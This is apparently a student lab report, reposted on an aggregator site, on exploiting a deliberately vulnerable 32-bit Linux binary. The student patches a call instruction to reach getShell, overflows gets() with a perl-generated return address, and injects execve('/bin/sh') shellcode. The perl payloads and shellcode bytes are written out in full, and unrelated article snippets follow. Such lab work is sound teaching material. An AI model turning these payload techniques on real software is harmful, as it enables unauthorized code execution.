20232327 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/13 8:52:36/文章来源:https://www.cnblogs.com/Amir3/p/19137675

20232327 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

在本周的课程学习了缓冲区溢出和shellcode攻击的内容,以下是一些基本概念和解释:
  • 缓冲区:连续的一段存储空间;
  • 缓冲区溢出攻击BOF(Buffer Overflow,缓冲区溢出):写入缓冲区的数据量超过缓冲区能容纳的最大限度,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行的完整性;
  • 一些缓冲区溢出漏洞:红色代码、冲击波病毒、震荡波病毒、心脏出血、勒索病毒...
  • shellcode:为了获取一个交互式shell的一段机器指令
在实验之前需要掌握的一些知识和原理:
  • GDB调试代码:设置断点:break/clear、启用/禁用断点:enable/disable、运行程序:run、继续运行:continue、单步代码跟入函数:step(源代码层面)、单步指令跟入函数:stepi(汇编代码层面)......
  • 小端序:多字节数据的 “低字节存低地址,高字节存高地址”,x86架构是小端序;
  • 汇编语言
    本次实验用到的寄存器:
    EBP栈底指针寄存器:当前堆栈的栈底指针
    EIP指令寄存器:指向下一条指令的地址
  • 反汇编指令objdump
    本次实验用到的汇编指令:x86 架构下基础指令机器码表(32 位模式,无复杂操作数)
汇编指令 核心功能 机器码(十六进制) 说明
NOP 空操作,无任何功能 90 固定 1 字节,常用于延时或指令对齐
JMP 无条件跳转(短跳转) EB xx “xx” 为相对偏移量(8 位),总长度 2 字节
JMP 无条件跳转(近跳转) E9 xx xx xx xx “xx xx xx xx” 为 32 位相对偏移量,总长度 5 字节
CMP 比较两个操作数(如 AL 与 BL) 38 D8 示例为CMP AL, BL,操作数不同机器码不同
JE 相等则跳转(短跳转) 74 xx 基于 CMP 结果,ZF 标志为 1 时跳转,“xx” 为 8 位偏移量
JNE 不相等则跳转(短跳转) 75 xx 基于 CMP 结果,ZF 标志为 0 时跳转,“xx” 为 8 位偏移量
CALL 调用子程序(近调用) E8 xx xx xx xx “xx xx xx xx” 为 32 位相对偏移量,总长度 5 字节

跳转 / 调用的偏移量:JMP、JE、JNE、CALL 的 “xx” 部分是相对偏移量,计算方式为 “目标地址 - 当前指令下一条地址”,
偏移量的计算遵循公式:偏移量(补码)= 目标函数地址 - 下一条指令地址


本次实验的说明

  1. 实践目标
    本次实践的对象是一个名为pwn1的linux可执行文件。(在实验中修改为文件名为20232327pwn)
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
  2. 三个实践内容
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

在安装好的kali虚拟机中,上传pwn1文件,解压后将其改名为pwn20232327
PixPin_2025-10-10_22-29-10
使用命令objdump -d pwn20232327 | more将其进行反汇编,得到下图中的结果

找到main函数调用foo函数(call)指令的这一行,计算可知:
偏移量 = 0x08048491 - 0x080484ba = -0x29(十进制 - 41)
将 - 0x29 转换为 32 位补码:0xFFFFFFD7(补码计算规则:负数的补码 = 其绝对值的二进制取反 + 1,0x29 取反为 0xFFFFFFD6,加 1 后为 0xFFFFFFD7)
因此,CALL foo的机器码为E8 D7 FF FF FF,与文档中反汇编结果一致。
PixPin_2025-10-10_22-36-49

现在需要修改偏移量,让main函数中执行到这一行后,调用getShell(入口 0x0804847d)函数,所以同样计算可知:
偏移量 = 0x0804847d - 0x080484ba = -0x3D(十进制 - 61)

所以接下来修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff,就可以完成getshell调用,完成指令流的改变;
复制一份原文件cp pwn20232327 pwn20232327_2
在vim编辑器中,使用命令%!xxd将显示模式切换为16进制模式,在命令模式中,输入e8 d7(注意中间空格)查找到对应内容(在000004b0行),按i进入编辑模式,将d7修改为c3;按Esc退出编辑模式,%!xxd -r转回原格式,保存并退出;
PixPin_2025-10-11_15-40-35

重新反汇编,查看是否正确调用

PixPin_2025-10-11_16-07-42

运行修改后的文件,会得到shell提示符,运行shell;

PixPin_2025-10-11_15-53-12

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

复制一份原文件cp pwn20232327 pwn20232327_3
重新反汇编这个文件,观察这段代码
foo函数存在BOF漏洞:foo 函数中调用了 gets 函数,而gets函数不会检查输入字符串的长度,会持续读取输入直到遇到换行符(\n)或文件结束符;
汇编中栈空间的分配:foo 函数在栈上为局部变量分配了 0x38 字节(56 字节)的空间,超过就会溢出;lea -0x1c(%ebp),%eax可知缓冲区大小为28字节,加上EBP4字节,一共需要32字节来覆盖返回地址;
调用foo之后的返回地址:call 8048491 的下一条指令是 80484ba 处的 mov $0x0,%eax,因此压入栈的返回地址是 0x80484ba
PixPin_2025-10-11_17-11-22
使用GDB进行调试,输入111111112222222233333334444444455555555,程序崩溃,EIP为0x35353535
PixPin_2025-10-11_17-03-10
再次运行,输入1111111122222222333333334444444412345678,EIP值为0x34333231(1234)
image
所以这里只要把1234的值替换为getshell的内存地址(0x0804847d)即32字节+\x7d\x84\x04\x08,(x86架构小端序)就可以调用getshell函数;

使用输出重定向“>”将perl生成的字符串存储到文件input中,然后将input的输入,通过管道符“|”,作为pwn1的输入。
成功进行getshell函数的调用
或者直接使用命令
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn1作为输入,完成getshell函数的调用

PixPin_2025-10-11_17-40-08

2.3 注入Shellcode并执行

2.3.1 准备工作

设置堆栈可执行,关闭地址虚拟化
PixPin_2025-10-11_20-10-19

2.3.2 尝试使用nop+shellcode+retaddr方法构造payload(此方法不可行)

构造payloda并注入攻击buf
PixPin_2025-10-12_12-04-00
找到对应的进行号,并对其进行断点调试;

PixPin_2025-10-12_12-11-40
找到shellcode的地址
PixPin_2025-10-12_12-42-55
此时运行,会发现payload失败,所以此处使用nop+shellcode+retaddr的方法不可行
PixPin_2025-10-12_13-01-15

2.3.3重新开始,使用结构:anything+retaddr+nops+shellcode

和上面一样的步骤,先随机进行注入,找到esp指向的地址;
再次调试

看到0x01020304,在之后的就是就是返回地址的位置,计算可知:
0xffffcf5c+4=0xffffcf60,所以改payload内容为
perl -e 'print "A" x 32;print "\x60\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
成功完成注入!
PixPin_2025-10-12_13-16-24

BOF防御

  • 防止注入,确保堆栈上特定值不变;
  • 将堆栈设置不可执行;
  • ALSR地址随机化,每次运行都用不同的地址;
  • 编写代码时,注意边界检测,使用安全的库函数;
  • 64位操作系统地址空间大,注入难度大;

3.问题及解决方案

  • 问题1:xxd缺失
    PixPin_2025-10-11_16-39-46
  • 问题1解决方案:xxd是vim的其中一个包,输入无效时可以apt install xxd下载一个(不知道我的vim编辑器为什么会缺少),或者使用wxhexeditor16进制编辑器;
  • 问题2:kali系统没有网卡,连接不到网络:
  • 问题2解决方法:https://blog.csdn.net/weixin_44937163/article/details/147394267
    这里使用上面的解决方法,启动wth0网卡,设置dhcp自动获取ip,虚拟机设置为NAT方式连接网络;
  • 问题3:apt install公钥缺失问题:
    公钥缺失
  • 问题3解决方法:这是由于kali软件源的GPG公钥缺失导致,这里使用A豆包给出的解决方法:
    使用命令sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5从服务器获取并安装公钥,就可以解决上面的问题
  • 问题4:在使用GDB调试确定输入字符串中哪些字符会覆盖到程序的返回地址时,为什么输入都是8个1、8个2、8个3,而不是4个或者16个?
  • 问题4解答:询问豆包得到的回答:x86 架构的 “栈对齐” 特性;x86 处理器的栈操作默认以 4 字节(32 位)或 8 字节(64 位) 为对齐单位(即栈上的数据地址通常是 4 或 8 的倍数)。在 32 位系统中,函数调用时的栈帧(Stack Frame)通常按 4 字节对齐,但为了兼容更多场景(如 64 位指令、SSE 指令等),也常以 8 字节作为实际调试中的 “观察粒度”。
  • 问题五:在2.3 注入Shellcode并执行这一部分中,关闭文件的堆栈可执行,
  • 问题5解决方案:但是execstack工具下载很麻烦,可以使用patchelf来进行代替;(其实也可以不用,两种方法查看后发现在编译时已经设置为堆栈可执行,其实这一部可以省略)
    PixPin_2025-10-11_20-06-45

4.学习感悟、思考等

  • 安装kali虚拟机的时候,最好直接下载vmware版本,不要下载镜像装载,否则就会出现上面遇到的各种奇怪问题(室友使用vmdk文件就不会出现上面的一些问题);
  • 应该平时注重积累掌握一些常用的linux命令,在做实验的过程中帮助很大;GDB调试命令不是很熟悉,应该学习掌握一些;对汇编知识掌握了解不多,在接下来的学习过程努力掌握;
  • 在实验过程中感受到调用函数时,栈的增长变化,通过 GDB 调试观察函数调用过程,清晰看到栈从高地址向低地址增长的实际变化 ;
  • 实际体会感受缓冲区溢出漏洞的危害性之大,谨慎使用fgets等不检查输入边界的函数;

参考资料

  • kali无eth0网卡
  • kali如何设置中文
  • ...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935875.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

完整教程:OSPF LSA/ 路由种类

完整教程:OSPF LSA/ 路由种类2025-10-13 08:46 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importan…

单挑市面上所有监控设备模拟器/可能是最好用的监控模拟器/支持onvif和28181协议/虚拟监控/桌面转监控/任意源转监控设备

一、前言说明 自从发布了这个监控设备模拟器,本意其实是卖代码,可是受欢迎程度不是程序员开发者,而是一堆非开发人员,没想到这个一个毫不起眼的需求,在外行人看来是真切实际的需求,比如一些收银台,需要把收银软…

在Java 11中,如何处理被弃用的类或接口?

在Java 11中处理被弃用的类或接口时,核心原则是使用官方推荐的替代方案,避免依赖过时API以确保代码的兼容性和可维护性。以下是具体处理方式和示例: 1. 替换内部API类(sun.* 或 com.sun.* 包下的类) 这些类属于JD…

chmod只修改文件或者只修改目录权限

chmod和chmod -R目录常用于修改文件,文件夹权限。加上-R参数会迭代的修改子目录和文件的权限。如果只想修改文件的权限,文件夹的权限不受影响。则可以使用下面的方法:chmod 750 `find /a /b -type f`会修改文件夹/a…

每周资讯 | 腾讯《三角洲行动》周年庆登双榜TOP1;腾讯首款生活模拟游戏《粒粒的小人国》曝光 - 教程

每周资讯 | 腾讯《三角洲行动》周年庆登双榜TOP1;腾讯首款生活模拟游戏《粒粒的小人国》曝光 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: bloc…

.NET 自动依赖注入神器

在 .NET Core/Web 项目中,手动写一堆 services.AddScoped<...>、AddSingleton<...> 是否让你头大?今天给大家介绍一个神器——Injectio,帮你自动扫描并注册服务,减少重复代码,让你的依赖注入(DI)更…

NetDreamCTF WP - 指南

NetDreamCTF WP - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &quo…

[1134] Connecting to Land Insight SFTP and GIS Servers

[1134] Connecting to Land Insight SFTP and GIS ServersHi Sir Bing,Greetings!Please be informed of your user credentials to servers. Also attached is the Work Instruction and PPK to connect to servers f…

VLA技术论文阅读 - 详解

VLA技术论文阅读 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &qu…

深入解析:246-基于Django的美食菜谱数据分析推荐系统

深入解析:246-基于Django的美食菜谱数据分析推荐系统pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&qu…

PhotoShop网页版在线为图片加文字,制作个性海报教程

生活中,我们总有需要给图片加文字、或是亲手做一张个性海报的时候。你是不是也觉得用专业Photoshop太复杂?别担心,现在只要打开浏览器,进入在线修图平台,零基础也能快速上手,轻松做出创意十足的作品! 一、为什么…

实用指南:构建神经网络的两大核心工具

实用指南:构建神经网络的两大核心工具pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mon…

简单高效的SQL注入测试方法:Break Repair技巧详解

本文详细介绍了SQL注入测试的简单有效方法,重点讲解Break & Repair技巧,包括数据库类型识别、盲注测试和信息提取等关键步骤,适合网络安全初学者和渗透测试人员学习参考。Break & Repair:我是如何以最简单…

实用指南:Qt 界面优化 --- QSS

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

display ip interface brief 概念及题目 - 指南

display ip interface brief 概念及题目 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &…

VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 HPE 慧与 定制版

VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 HPE 慧与 定制版VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 HPE 慧与 定制版 VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 标准版和…

ICDesigner2027下载ICDsigner2027 download ICDesigner2027ダウンロード

ICDesigner2027下载ICDsigner2027 download ICDesigner2027ダウンロード2025-10-13 08:02 软件商 阅读(0) 评论(0) 收藏 举报ICDesigner2027下载ICDsigner2027 download ICDesigner2027ダウンロード EDA软件EDA So…

VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 Lenovo 联想 定制版

VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 Lenovo 联想 定制版VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 Lenovo 联想 定制版 VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 标…

当AI开始“通感”:诗词创作中的灵性涌现

突然冒出一个想法,如何让ai懂得写创新型诗词,也跟他理解价值差不多,理解意境,会情景相容……好的,我将我们这场关于诗词AI的灵感对话,提炼并升华为一篇完整的文章。 从逻辑到灵性:构建一个「意境生成场」以实现…

VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 Dell 戴尔 定制版

VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 Dell 戴尔 定制版VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 Dell 戴尔 定制版 VMware ESXi 9.0.1.0 macOS Unlocker & OEM BIOS 2.7 标准版…